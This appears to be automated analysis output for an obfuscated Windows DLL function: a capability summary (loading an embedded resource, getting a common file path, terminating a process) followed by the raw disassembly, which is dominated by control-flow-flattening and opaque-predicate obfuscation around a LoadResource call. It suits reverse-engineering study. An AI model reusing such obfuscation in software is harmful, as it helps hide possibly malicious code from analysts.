Function at 0x100012bd
Capabilities:
Extract resource via kernel32 functions
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xb0
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x5580cbd6
and eax, 0xaa7f3429
or eax, edx
mov edx, dword [0x1005c978]
xor eax, 0x5580cbd7
or eax, ecx
cmp eax, 0xffffffff
sete byte [ebp - 0x5d]
cmp edx, 0xa
setl byte [ebp - 0x5e]
mov eax, 0xef29d24d
cmp eax, 0xcc4c028
jg 0x10001375
cmp eax, 0xc1c7f98f
jg 0x10001420
cmp eax, 0x9d8baea4
jle 0x100015b2
cmp eax, 0xb2341bf0
jg 0x10001766
cmp eax, 0xa69e7e97
jg 0x10001b6d
cmp eax, 0xa35ba12f
jle 0x100023c7
cmp eax, 0xa5229130
jle 0x100030e3
cmp eax, 0xa584a02f
jg 0x10004878
cmp eax, 0xa5229131
je 0x10005170
cmp eax, 0xa5465f6e
jne 0x10001308
mov eax, 0xf6e448b0
jmp 0x10001308
cmp eax, 0x4bf67b6f
jg 0x100014e7
cmp eax, 0x2a93ed1c
jle 0x10001609
cmp eax, 0x3cd1baca
jg 0x10001800
cmp eax, 0x337e22a9
jg 0x10001c5c
cmp eax, 0x2d6bb455
jle 0x10002447
cmp eax, 0x30adbad5
jle 0x10003164
cmp eax, 0x32ba380a
jg 0x1000489e
cmp eax, 0x30adbad6
je 0x1000517a
cmp eax, 0x31b4e78b
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0xf385e5cb
mov edi, 0x1859d22e
cmovne eax, edi
test cl, cl
mov ecx, 0xf385e5cb
jmp 0x100083fd
cmp eax, 0xe60d6901
jle 0x10001660
cmp eax, 0xf6e448af
jg 0x10001891
cmp eax, 0xeebf28fa
jg 0x10001cf1
cmp eax, 0xeac1da56
jle 0x100024c3
cmp eax, 0xeb9a545b
jle 0x100031e4
cmp eax, 0xed626e94
jg 0x100048be
cmp eax, 0xeb9a545c
je 0x100051d8
cmp eax, 0xec0119df
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x8da932c6
mov edx, eax
and edx, 0x7256cd39
or edx, ecx
xor edx, 0x7256cd38
and eax, 0xfffffffe
or eax, edx
xor eax, 0x49fc2908
xor eax, 0xb603d6f7
setne al
sete cl
cmp dword [0x1005c978], 0xa
setge dl
xor cl, dl
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xe206202
mov edi, 0x368b6d20
cmovne eax, edi
test cl, cl
cmovne eax, edi
test dl, dl
mov ecx, 0xe206202
cmovne eax, ecx
jmp 0x10001308
cmp eax, 0x63609fae
jle 0x10001703
cmp eax, 0x6eb61aff
jg 0x100019a1
cmp eax, 0x6b1074d6
jg 0x10001da4
cmp eax, 0x6754a7ed
jle 0x1000250b
cmp eax, 0x67f74a2c
jle 0x10003266
cmp eax, 0x686f6965
jg 0x10004959
cmp eax, 0x67f74a2d
je 0x10005235
cmp eax, 0x684b1468
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xe479888f
mov edx, eax
and edx, 0x1b867770
or edx, ecx
xor edx, 0x1b867771
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffc32b40
xor eax, 0x3cd4bf
setne al
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and cl, ah
and dl, al
or dl, cl
or ah, al
mov al, ah
xor al, dl
test ah, ah
mov ecx, 0xe2fe73a1
mov edi, 0x67c5f14
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0xe2fe73a1
jmp 0x10008402
cmp eax, 0x8fc06f8d
jle 0x100019ed
cmp eax, 0x97c98144
jg 0x10001e28
cmp eax, 0x93035a9f
jle 0x1000254e
cmp eax, 0x94a99dd7
jle 0x10003291
cmp eax, 0x962324e6
jg 0x10004989
cmp eax, 0x94a99dd8
je 0x10005252
cmp eax, 0x957cbf74
jne 0x10001308
mov eax, 0xca576bf2
jmp 0x10001308
cmp eax, 0x196d6f91
jle 0x10001a86
cmp eax, 0x216501af
jg 0x10001eb3
cmp eax, 0x1bdaf104
jle 0x10002c97
cmp eax, 0x1d0458c5
jle 0x100032f4
cmp eax, 0x1f683b1e
jg 0x10004a01
cmp eax, 0x1d0458c6
je 0x10005293
cmp eax, 0x1e444f58
jne 0x10001308
mov eax, 0xb6b29661
jmp 0x10001308
cmp eax, 0xd0844c51
jle 0x10001ad5
cmp eax, 0xdbe927d9
jg 0x10001f4f
cmp eax, 0xd6a36bb7
jle 0x10002d1e
cmp eax, 0xd8267d0d
jle 0x10003384
cmp eax, 0xda842cf1
jg 0x10004a6b
cmp eax, 0xd8267d0e
je 0x100052ab
cmp eax, 0xda097ee9
jne 0x10001308
mov ecx, dword [0x1005c974]
mov eax, 0xd33a8da1
sub eax, ecx
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
xor al, dl
mov ch, dl
xor ch, cl
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov cl, dl
xor cl, ch
test dl, dl
mov eax, 0x6b23264b
mov edx, 0xf4294b94
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, cl
mov ecx, 0x6b23264b
cmove eax, ecx
jmp 0x10001308
cmp eax, 0x58a129d7
jle 0x10001b21
cmp eax, 0x5db8cd81
jg 0x10001fe1
cmp eax, 0x5aa03840
jle 0x10002dac
cmp eax, 0x5c1a3604
jle 0x10003402
cmp eax, 0x5d307e87
jg 0x10004ae8
cmp eax, 0x5c1a3605
je 0x1000532b
cmp eax, 0x5d1ed152
jne 0x10001308
cmp dword [ebp - 0x7c], 0
mov eax, 0x1d0458c6
mov ecx, 0x63410bd0
cmovle eax, ecx
jmp 0x10001308
cmp eax, 0xb8f22a77
jg 0x10002081
cmp eax, 0xb50705dc
jle 0x10002587
cmp eax, 0xb6dde9db
jle 0x1000342d
cmp eax, 0xb7eadd0d
jg 0x10004b4c
cmp eax, 0xb6dde9dc
je 0x10005391
cmp eax, 0xb797218a
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, eax
xor dl, cl
or cl, al
mov ch, dl
xor ch, cl
test cl, cl
mov eax, 0xcbf98a97
mov edi, 0x80f3c000
cmovne eax, edi
test dl, dl
cmove eax, edi
test ch, ch
mov ecx, 0xcbf98a97
cmove eax, ecx
jmp 0x10001308
cmp eax, 0x43ab8cee
jg 0x100020c2
cmp eax, 0x407c4efe
jle 0x100025fd
cmp eax, 0x41af8a0e
jle 0x1000349a
cmp eax, 0x42318610
jg 0x10004b81
cmp eax, 0x41af8a0f
je 0x100053e8
cmp eax, 0x41eb6634
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete ch
cmp dword [0x1005c978], 0xa
setl cl
setge dh
mov dl, cl
or cl, ch
and ch, dh
and dl, al
or dl, ch
xor dh, al
xor cl, 1
or cl, dh
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xb696fc3b
mov edi, 0xe82e7a92
cmovne eax, edi
test cl, 1
mov ecx, 0xb696fc3b
jmp 0x100083fd
cmp eax, 0x2db9d7f
jg 0x10002136
cmp eax, 0xfa42ec32
jle 0x10002670
cmp eax, 0xfe90875a
jle 0x100034c5
cmp eax, 0x609ecd
jg 0x10004ba1
cmp eax, 0xfe90875b
je 0x10005433
cmp eax, 0xffbcf2d5
jne 0x10001308
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add ecx, 0x34
mov edx, dword [ebp - 0x4c]
mov edx, dword [edx]
mov edx, dword [edx + 0x14]
add edx, 0xfffffff4
push edx
push ecx
push dword [eax]
call fcn.1004b180
add esp, 0xc
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x2c]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x18]
push dword [ebp - 0x48]
push dword [eax]
push dword [ecx]
call fcn.100387c6
add esp, 0xc
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
mov edi, dword [ecx + 0x30]
mov edx, edi
not edx
mov ebx, eax
not ebx
mov ecx, ebx
xor ecx, edx
and ecx, eax
and ebx, 0x267dfe03
mov esi, 0xd98201fc
and eax, esi
or eax, ebx
xor eax, esi
xor eax, edx
and eax, edi
mov edx, ecx
not edx
mov edi, edx
mov ebx, 0xd628d394
and edi, ebx
mov esi, 0x29d72c6b
and ecx, esi
or ecx, edi
mov edi, eax
not edi
or edx, edi
and edi, ebx
and eax, esi
or eax, edi
xor eax, ecx
not edx
or edx, eax
mov eax, dword [ebp - 0x58]
mov dword [eax], edx
mov eax, 0x7edc9f8e
jmp 0x10001308
cmp eax, 0x767fe238
jg 0x100021c7
cmp eax, 0x71c85d2e
jle 0x100026a9
cmp eax, 0x74a5a510
jle 0x100034fc
cmp eax, 0x75f03dfe
jg 0x10004bfb
cmp eax, 0x74a5a511
je 0x10005496
cmp eax, 0x75e053b2
jne 0x10001308
mov eax, 0x6ee6efe0
jmp 0x10001308
cmp eax, 0x8891d763
jg 0x10002203
cmp eax, 0x8436cdb5
jle 0x10002740
cmp eax, 0x8522dc48
jle 0x1000356a
cmp eax, 0x87b23fa5
jg 0x10004c1b
cmp eax, 0x8522dc49
je 0x100054a0
cmp eax, 0x879372d8
jne 0x10001308
mov eax, dword [0x1005c974]
lea edx, [eax + 1]
imul edx, eax
test dl, 1
sete ah
cmp dword [0x1005c978], 0xa
setl al
setge ch
and ch, ah
mov cl, al
and cl, dl
or cl, ch
mov edx, eax
xor dl, ah
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x9a7950ea
mov edi, 0x8b6ed133
cmovne eax, edi
test cl, cl
cmove eax, edi
test dl, dl
mov ecx, 0x9a7950ea
cmove eax, ecx
jmp 0x10001308
cmp eax, 0x112491ed
jle 0x100022f0
cmp eax, 0x150a051f
jle 0x10002e1e
cmp eax, 0x15ef8119
jle 0x10003601
cmp eax, 0x1859d22d
jg 0x10004c3b
cmp eax, 0x15ef811a
je 0x10005517
cmp eax, 0x174b1358
jne 0x10001308
mov eax, dword [ebp - 0x40]
mov eax, 0xc56d04b9
jmp 0x10001308
cmp eax, 0xc8b48c97
jle 0x10002252
cmp eax, 0xca83e88a
jle 0x10002781
cmp eax, 0xcbf98a96
jle 0x10003689
cmp eax, 0xcebd7929
jg 0x10004c5b
cmp eax, 0xcbf98a97
je 0x10005521
cmp eax, 0xccb800e5
jne 0x10001308
mov eax, 0x15a598e4
jmp 0x10001308
cmp eax, 0x50dd2f48
jle 0x10002331
cmp eax, 0x533a8859
jle 0x10002e57
cmp eax, 0x561cf15b
jle 0x10003713
cmp eax, 0x584fa67f
jg 0x10004cdc
cmp eax, 0x561cf15c
je 0x10005588
cmp eax, 0x57184bdc
jne 0x10001308
mov eax, 0x156a8ce7
jmp 0x10001308
cmp eax, 0xaa750ce7
jle 0x10002808
cmp eax, 0xab9ff228
jle 0x10003799
cmp eax, 0xb0414990
jg 0x10004d6a
cmp eax, 0xab9ff229
je 0x100055d5
cmp eax, 0xae1da7fd
jne 0x10001308
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
sub esp, 0x20c
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
sub esp, 0x20c
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov ecx, esp
mov edx, dword [0x1005c974]
lea eax, [edx + 1]
imul eax, edx
test al, 1
sete dl
cmp dword [0x1005c978], 0xa
setge dh
setl bl
mov bh, bl
xor bh, al
and bh, bl
and bl, al
and dh, dl
or bl, dh
mov edx, ebx
xor dl, bh
test bl, bl
mov eax, 0xb8f22a78
mov edi, 0x36aea693
cmovne eax, edi
test bh, bh
mov ebx, 0xb8f22a78
cmove eax, ebx
mov dword [ebp - 0x24], ecx
jmp 0x10006ac9
cmp eax, 0x3671dfb6
jle 0x10002898
cmp eax, 0x374e2825
jle 0x10003819
cmp eax, 0x397492ab
jg 0x10004d8a
cmp eax, 0x374e2826
je 0x100055eb
cmp eax, 0x38b0124f
jne 0x10001308
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x30]
push dword [eax]
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [0x1005c974]
mov eax, 0x3fd15e41
sub eax, ecx
imul eax, ecx
not al
or al, 0xfe
cmp al, 0xff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
mov eax, ecx
xor al, dl
mov eax, 0x8436cdb6
mov esi, 0xdbe927da
cmovne eax, esi
test cl, cl
mov ecx, 0x8436cdb6
jmp 0x100083fd
cmp eax, 0xf385e5ca
jle 0x100028ce
cmp eax, 0xf4308205
jle 0x10003844
cmp eax, 0xf5f9a210
jg 0x10004de6
cmp eax, 0xf4308206
je 0x10005641
cmp eax, 0xf5557c7a
jne 0x10001308
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xc7ef489c
and eax, 0x3810b763
or eax, edx
xor eax, 0xc7ef489d
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setge dl
setl ah
and ah, cl
and al, dl
or al, ah
or dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xd47469dd
mov edi, 0x8509883d
cmovne ecx, edi
test dl, dl
mov edx, 0xd47469dd
jmp 0x1000816c
cmp eax, 0x6cc03ddc
jle 0x10002946
cmp eax, 0x6d28e2ef
jle 0x1000386f
cmp eax, 0x6e7308bf
jg 0x10004e6d
cmp eax, 0x6d28e2f0
je 0x10005657
cmp eax, 0x6d979c3b
jne 0x10001308
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0
setne byte [ebp - 0x5f]
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
or ch, al
xor dl, cl
mov al, ch
xor al, dl
test al, 1
mov edi, 0x4358d82
mov eax, 0x12560f56
cmovne edi, eax
test dl, dl
mov eax, edi
mov edx, 0x4358d82
jmp 0x10005c7a
cmp eax, 0x9a0a0887
jle 0x100029ba
cmp eax, 0x9a7950e9
jle 0x100038e4
cmp eax, 0x9c1a4ea8
jg 0x10004e90
cmp eax, 0x9a7950ea
je 0x1000569f
cmp eax, 0x9b1a35f5
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
setge dl
xor dl, al
mov ah, cl
xor ah, al
or cl, al
xor cl, 1
or cl, ah
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xa35ba130
mov edi, 0x2db2c3d0
cmovne ecx, edi
test dl, dl
cmovne ecx, edi
test al, al
mov eax, 0xa35ba130
jmp 0x10007ac2
cmp eax, 0x24ea1ee7
jle 0x10002ed6
cmp eax, 0x263f448f
jle 0x10003961
cmp eax, 0x26e5d66b
jg 0x10004efc
cmp eax, 0x263f4490
je 0x1000570d
cmp eax, 0x26da3b0d
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x4a8371e8
and eax, 0xb57c8e17
or eax, edx
xor eax, 0x4a8371e9
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x1005c978], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xa6d135f1
mov edi, 0x2db9d80
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0xa6d135f1
jmp 0x10008402
cmp eax, 0xdeaef417
jle 0x10002f4d
cmp eax, 0xe2fe73a0
jle 0x100039cf
cmp eax, 0xe5ce59f3
jg 0x10004f70
cmp eax, 0xe2fe73a1
je 0x10005717
cmp eax, 0xe36cf6a2
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
mov ecx, 0x3b521272
mov edi, 0x15ef811a
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov edi, 0x3b521272
jmp 0x10008570
cmp eax, 0x5f1dd696
jle 0x10002fe4
cmp eax, 0x6114ff1e
jle 0x10003a61
cmp eax, 0x6291573e
jg 0x10004fec
cmp eax, 0x6114ff1f
je 0x10005788
cmp eax, 0x616a32f5
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xc94722ad
and eax, 0x36b8dd52
or eax, edx
xor eax, 0xc94722ac
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x1005c978], 0xa
setl al
setge ch
mov cl, al
or al, ah
and ah, ch
and cl, dl
or cl, ah
xor ch, dl
xor al, 1
or al, ch
mov edx, eax
xor dl, cl
mov edx, 0x594393f0
mov esi, 0xdd6c2c9f
cmovne edx, esi
test al, al
mov eax, 0x594393f0
jmp 0x10008496
cmp eax, 0xbc81be49
jle 0x10002a48
cmp eax, 0xbdb53aee
jle 0x10003af1
cmp eax, 0xbf761f3e
jg 0x10005018
cmp eax, 0xbdb53aef
je 0x100057cb
cmp eax, 0xbe53ea92
jne 0x10001308
mov eax, 0xe60d6902
jmp 0x10001308
cmp eax, 0x486ae449
jle 0x10002a7e
cmp eax, 0x48cccb27
jle 0x10003b25
cmp eax, 0x49e90eae
jg 0x10005038
cmp eax, 0x48cccb28
je 0x10005810
cmp eax, 0x492d66ee
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx - 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1005c978], 0xa
setge ch
setl dh
mov cl, dh
xor cl, al
and cl, dh
and ch, dl
and dh, al
or dh, ch
mov eax, ecx
xor al, dh
mov eax, 0x32efd896
mov esi, 0xd8267d0e
jmp 0x10007442
cmp eax, 0x5fcc868
jle 0x10002ab4
cmp eax, 0xa62bfd3
jle 0x10003c34
cmp eax, 0xbc9a360
jg 0x100050a8
cmp eax, 0xa62bfd4
je 0x1000581a
cmp eax, 0xa878ccb
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete cl
cmp dword [0x1005c978], 0xa
setl dl
xor cl, dl
mov ch, cl
mov eax, 0x7654350d
mov esi, 0xa584a030
cmovne eax, esi
not ch
test ch, dl
mov edi, 0x7654350d
cmove eax, edi
test cl, cl
cmovne eax, esi
test ch, dl
cmovne eax, esi
jmp 0x10001308
cmp eax, 0x784788a7
jle 0x10002b03
cmp eax, 0x7edc9f8d
jle 0x10003c5f
cmp eax, 0x7f8a82c7
jg 0x10005106
cmp eax, 0x7edc9f8e
je 0x1000585f
cmp eax, 0x7f0ed7ab
je 0x10005130
jmp 0x10001308
cmp eax, 0x8cb78fb5
jle 0x10002b82
cmp eax, 0x8e414726
jle 0x10003ce7
cmp eax, 0x8ec90d38
jg 0x1000513a
cmp eax, 0x8e414727
je 0x10005962
cmp eax, 0x8e694b2a
jne 0x10001308
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call fcn.1004c6c8
add esp, 8
mov eax, 0x60d20528
jmp 0x10001308
cmp eax, 0xc563d199
jg 0x10002c08
cmp eax, 0xc43f07f9
jg 0x10003d12
cmp eax, 0xc1c7f990
je 0x100059cb
cmp eax, 0xc34e89c2
je 0x100059d5
cmp eax, 0xc363472a
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x2afd471
mov edx, eax
and edx, 0xfd502b8e
or edx, ecx
xor edx, 0xfd502b8f
and eax, 0xfffffffe
or eax, edx
xor eax, 0x46b94545
cmp eax, 0xb946baba
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0xb9213404
mov edi, 0x6c505026
cmovne edx, edi
test al, al
mov eax, edx
mov edi, 0xb9213404
jmp 0x10007a6a
cmp eax, 0xf3ee883
jg 0x1000301a
cmp eax, 0xe206201
jg 0x10003d92
cmp eax, 0xcc4c029
je 0x10005a69
cmp eax, 0xcfe2018
je 0x10005a87
cmp eax, 0xda0f09b
jne 0x10001308
mov eax, 0x7009bfad
jmp 0x10001308
cmp eax, 0x4fef4160
jg 0x100030ad
cmp eax, 0x4e33f6bd
jg 0x10003dfc
cmp eax, 0x4bf67b70
je 0x10005af8
cmp eax, 0x4ca19331
je 0x10005b02
cmp eax, 0x4ce7acb1
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x1005c978], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
mov edi, 0x53178ca1
mov esi, 0xe76f7f28
cmovne edi, esi
test dl, cl
cmovne edi, esi
test al, al
mov eax, edi
cmovne eax, esi
test dl, cl
cmove eax, edi
cmp dword [ebp - 0xa8], 0
setne byte [ebp - 0x6a]
jmp 0x10001308
cmp eax, 0x9fa0b659
jg 0x10003e27
cmp eax, 0x9e74a66d
jg 0x1000515b
cmp eax, 0x9d8baea5
je 0x10005b60
cmp eax, 0x9e3dfb1d
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x93dc180f
and eax, 0x6c23e7f0
or eax, edx
xor eax, 0x6c23e7f1
xor ecx, eax
test ecx, eax
sete cl
cmp dword [0x1005c978], 0xa
setl dl
xor cl, dl
mov ch, cl
mov eax, 0xb82d6337
mov edi, 0x338536cf
cmovne eax, edi
not ch
test ch, dl
mov ebx, 0xb82d6337
jmp 0x10006c26
cmp eax, 0x2c9d13ad
jg 0x10003e9b
cmp eax, 0x2a93ed1d
je 0x10005b6d
cmp eax, 0x2ae9b7f4
je 0x10005bcf
cmp eax, 0x2be39653
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete cl
setne dl
cmp dword [0x1005c978], 0xa
setge ah
setl ch
mov al, ch
xor al, dl
and al, ch
and ah, cl
and ch, dl
or ch, ah
mov cl, al
xor cl, ch
mov edx, 0xfe51a8a
mov esi, 0xeb9a545c
jmp 0x100082d2
cmp eax, 0xe76f7f27
jg 0x10003f2c
cmp eax, 0xe60d6902
je 0x10005bd9
cmp eax, 0xe7110fbc
je 0x10005c32
cmp eax, 0xe711bf91
jne 0x10001308
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x28]
mov eax, 0x7821d726
jmp 0x10001308
cmp eax, 0x6648f9a4
jg 0x10003f94
cmp eax, 0x63609faf
je 0x10005c3c
cmp eax, 0x650a7180
je 0x10005c88
cmp eax, 0x6610b6d8
jne 0x10001308
push 0x1005c9b4
call fcn.1000ce4c
add esp, 4
mov eax, 0x14533dea
jmp 0x10001308
cmp eax, 0x914d2b44
jg 0x10004033
cmp eax, 0x8fc06f8e
je 0x10005d09
cmp eax, 0x905925b9
je 0x10005d13
cmp eax, 0x90838512
jne 0x10001308
mov eax, dword [ebp - 0x40]
mov eax, 0x51000882
jmp 0x10001308
cmp eax, 0xb3dce6f8
jg 0x1000405e
cmp eax, 0xb2341bf1
je 0x10005126
cmp eax, 0xb267973f
je 0x10005d77
cmp eax, 0xb322772b
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete cl
cmp dword [0x1005c978], 0xa
setl dl
xor cl, dl
mov ch, cl
mov eax, 0xcb7f4d23
mov edi, 0x29b92e5c
cmovne eax, edi
not ch
test ch, dl
mov ebx, 0xcb7f4d23
jmp 0x10006c26
cmp eax, 0x3f950367
jg 0x100040c8
cmp eax, 0x3cd1bacb
je 0x10005d81
cmp eax, 0x3f1465fe
je 0x10005d99
cmp eax, 0x3f42bddf
jne 0x10001308
mov ecx, dword [0x1005c974]
mov eax, ecx
not eax
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
and cl, ch
or ch, al
and dl, al
or dl, cl
mov al, ch
xor al, dl
mov eax, 0xd0844c52
mov edi, 0x4fc40fe7
cmovne eax, edi
test dl, dl
mov edx, eax
mov esi, 0xd0844c52
jmp 0x10008508
cmp eax, 0xf9930970
jg 0x1000413c
cmp eax, 0xf6e448b0
je 0x10005ddf
cmp eax, 0xf704f3af
je 0x10005e31
cmp eax, 0xf7768773
jne 0x10001308
mov eax, dword [ebp - 0x20]
mov eax, 0x82eccf20
jmp 0x10001308
cmp eax, 0x70c8dc8a
jg 0x1000416d
cmp eax, 0x6eb61b00
je 0x10005e3b
cmp eax, 0x6ee6efe0
je 0x10005eb3
cmp eax, 0x7009bfad
jne 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x9cdcc8cc
mov edx, eax
and edx, 0x63233733
or edx, ecx
xor edx, 0x63233732
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
setne al
sete cl
cmp dword [0x1005c978], 0xa
setge dl
setl ch
xor ch, cl
or dl, al
mov cl, dl
xor cl, ch
test dl, dl
mov eax, 0x517e24f7
mov edx, 0xda0f09b
cmovne eax, edx
test ch, ch
cmove eax, edx
test cl, cl
mov ecx, 0x517e24f7
cmove eax, ecx
jmp 0x10001308
cmp eax, 0x82eccf1f
jg 0x10004198
cmp eax, 0x80f3c000
je 0x10005f19
cmp eax, 0x821ea8cb
je 0x10005f2e
cmp eax, 0x82563862
jne 0x10001308
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x8c], eax
mov eax, 0x6114ff1f
jmp 0x10001308
cmp eax, 0xc9e9e88a
jg 0x100041d7
cmp eax, 0xc8b48c98
je 0x10005f53
cmp eax, 0xc9081559
je 0x10005fbd
cmp eax, 0xc9dc4621
jne 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x5a1b16d4
and eax, 0xa5e4e92b
or eax, edx
xor eax, 0x5a1b16d5
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
